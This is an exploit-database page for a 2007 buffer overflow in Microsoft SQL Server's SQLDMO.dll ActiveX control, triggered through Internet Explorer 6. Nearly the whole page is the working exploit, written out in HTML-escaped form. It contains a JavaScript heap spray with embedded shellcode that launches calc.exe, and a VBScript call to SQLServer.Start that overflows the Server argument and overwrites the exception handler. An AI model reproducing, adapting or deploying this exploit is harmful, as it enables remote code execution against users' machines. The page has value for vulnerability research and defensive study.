Microsoft SQL Server Distributed Management Objects BoF Exploit

🗓️ 14 Sep 2007 00:00:00Reported by RootType

Microsoft SQL Server Distributed Management Objects BoF Exploit Critical (remote) Impact: MS Internet Explorer 6 -> Code Execute. Tested Operating System: Windows XP SP2 KR, Windows 2000 Pro SP4 KR. Tested Software: MSDE 2000 SQLDMO.dll (version 2000.80.760.0). References by rgod and Trirat Puttaraksa


                                                &lt;!--

+&nbsp;title:&nbsp;Microsoft&nbsp;SQL&nbsp;Server&nbsp;Distributed&nbsp;Management&nbsp;Objects&nbsp;Buffer&nbsp;Overflow
+&nbsp;Critical:&nbsp;Critical&nbsp;(remote)
+&nbsp;Impact:&nbsp;MS&nbsp;Internet&nbsp;Explorer&nbsp;6&nbsp;-&gt;&nbsp;Code&nbsp;Execute
+&nbsp;Tested&nbsp;Operating&nbsp;System:&nbsp;Windows&nbsp;XP&nbsp;SP2&nbsp;KR,&nbsp;Windows&nbsp;2000&nbsp;Pro&nbsp;SP4&nbsp;KR
+&nbsp;Tested&nbsp;Software:&nbsp;MSDE&nbsp;2000&nbsp;SQLDMO.dll&nbsp;(version&nbsp;2000.80.760.0)
+&nbsp;Reference&nbsp;&amp;&nbsp;Thanks&nbsp;:&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code&nbsp;by&nbsp;rgod&nbsp;http://www.milw0rm.com/exploits/4379
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code&nbsp;by&nbsp;Trirat&nbsp;Puttaraksa&nbsp;http://www.milw0rm.com/exploits/2426
+&nbsp;Author:&nbsp;96sysim&nbsp;([email protected])

--&gt;

&lt;html&gt;
&lt;object&nbsp;classid='clsid:10020200-E260-11CF-AE68-00AA004A34D5'&nbsp;id='SQLServer'&nbsp;/&gt;&lt;/object&gt;

&lt;SCRIPT&nbsp;language=&quot;javascript&quot;&gt;
//&nbsp;Heap&nbsp;Spray&nbsp;
//&nbsp;execute&nbsp;&quot;calc.exe&quot;
shellcode&nbsp;=
unescape(&quot;%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063&quot;);

bigblock&nbsp;=&nbsp;unescape(&quot;%u9090%u9090&quot;);
headersize&nbsp;=&nbsp;20;
slackspace&nbsp;=&nbsp;headersize+shellcode.length;
while&nbsp;(bigblock.length&lt;slackspace)&nbsp;bigblock+=bigblock;
fillblock&nbsp;=&nbsp;bigblock.substring(0,&nbsp;slackspace);
block&nbsp;=&nbsp;bigblock.substring(0,&nbsp;bigblock.length-slackspace);
while(block.length+slackspace&lt;0x40000)&nbsp;block&nbsp;=&nbsp;block+block+fillblock;
memory&nbsp;=&nbsp;new&nbsp;Array();
for&nbsp;(i=0;i&lt;501;i++)&nbsp;memory[i]&nbsp;=&nbsp;block&nbsp;+&nbsp;shellcode;
&lt;/SCRIPT&gt;


&lt;script&nbsp;language='vbscript'&gt;
targetFile&nbsp;=&nbsp;&quot;C:\Programmi\Microsoft&nbsp;SQL&nbsp;Server\80\Tools\Binn\sqldmo.dll&quot;
prototype&nbsp;&nbsp;=&nbsp;&quot;Sub&nbsp;Start&nbsp;(&nbsp;ByVal&nbsp;StartMode&nbsp;As&nbsp;Boolean&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Server&nbsp;As&nbsp;Variant&nbsp;]&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Login&nbsp;As&nbsp;Variant&nbsp;]&nbsp;,&nbsp;&nbsp;[&nbsp;ByVal&nbsp;Password&nbsp;As&nbsp;Variant&nbsp;]&nbsp;)&quot;
memberName&nbsp;=&nbsp;&quot;Start&quot;
progid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;&quot;SQLDMO.SQLServer&quot;
argCount&nbsp;&nbsp;&nbsp;=&nbsp;4

myseh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;unescape(&quot;%u0D0D%u0D0D&quot;)&nbsp;&nbsp;&nbsp;//&nbsp;heap&nbsp;spray&nbsp;range&nbsp;-&nbsp;possible&nbsp;change
StartMode&nbsp;=True
Server&nbsp;&nbsp;&nbsp;&nbsp;=&quot;http://ZZZZ\YYYY\XXXX\WW?W\VVVV\AAAA\AAA\AAAAA\AAAA\AA@AA\tes\test\test\tes.\ttest\MMMM\LLLL\KKK\JJJJ\IIII\HH.H\GGGGG\FFFF\EEEE\DDD\DDDD\BBBB\AAA\A\\\\\\\\\:#$%AAAA\BBBB\CCCC\DD?D\EEEE\FFFF\GGG\\:#$%\HHHHH\IIII\te@st\tes\test\test\tes.aaaabbbbccccddddeeeeffffgggghhhhiiiiaaaaaaaaa&quot;&nbsp;+&nbsp;myseh&nbsp;+&nbsp;&quot;Dmmm&quot;&nbsp;+&nbsp;edx&nbsp;+&nbsp;&quot;nnnBBBB\AAAA\ZZZ\Z\\\\\\\\\:#$%YYYY\XXXX\WWWW\VV?V\UUUU\TTTT\SSS\\:#$%\RRRRR\QQQQ\PP@PP\OOO\NNNN\MMMM\LLL.\KKKKK\JJJJ\IIII\HHH\GGGG\FFFF\EE.E\DDDDD\DDDD\BBBB\AAA\AAAA\AAAA\AAA\A\\\\\\\\\:#$%AAAA\AAAA\AAAA\AA?A\wwww\vvvv\uuu\\:#$%\ttttt\ssss\rr@rr\qqq\pppp\oooo\nnn.\mmmmm\llll\kkkk\jjj\iiii\hhhh\gg.g\fffff\eeee\dddd\ccc\bbbb\aaaa\AAA\A\\\\\\\&quot;
Login&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&quot;aaaaaaaa&quot;
Password&nbsp;&nbsp;=&quot;bbbbbbbb&quot;

SQLServer.Start&nbsp;StartMode&nbsp;,Server&nbsp;,Login&nbsp;,Password
&lt;/script&gt;
&lt;/html&gt;

14 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1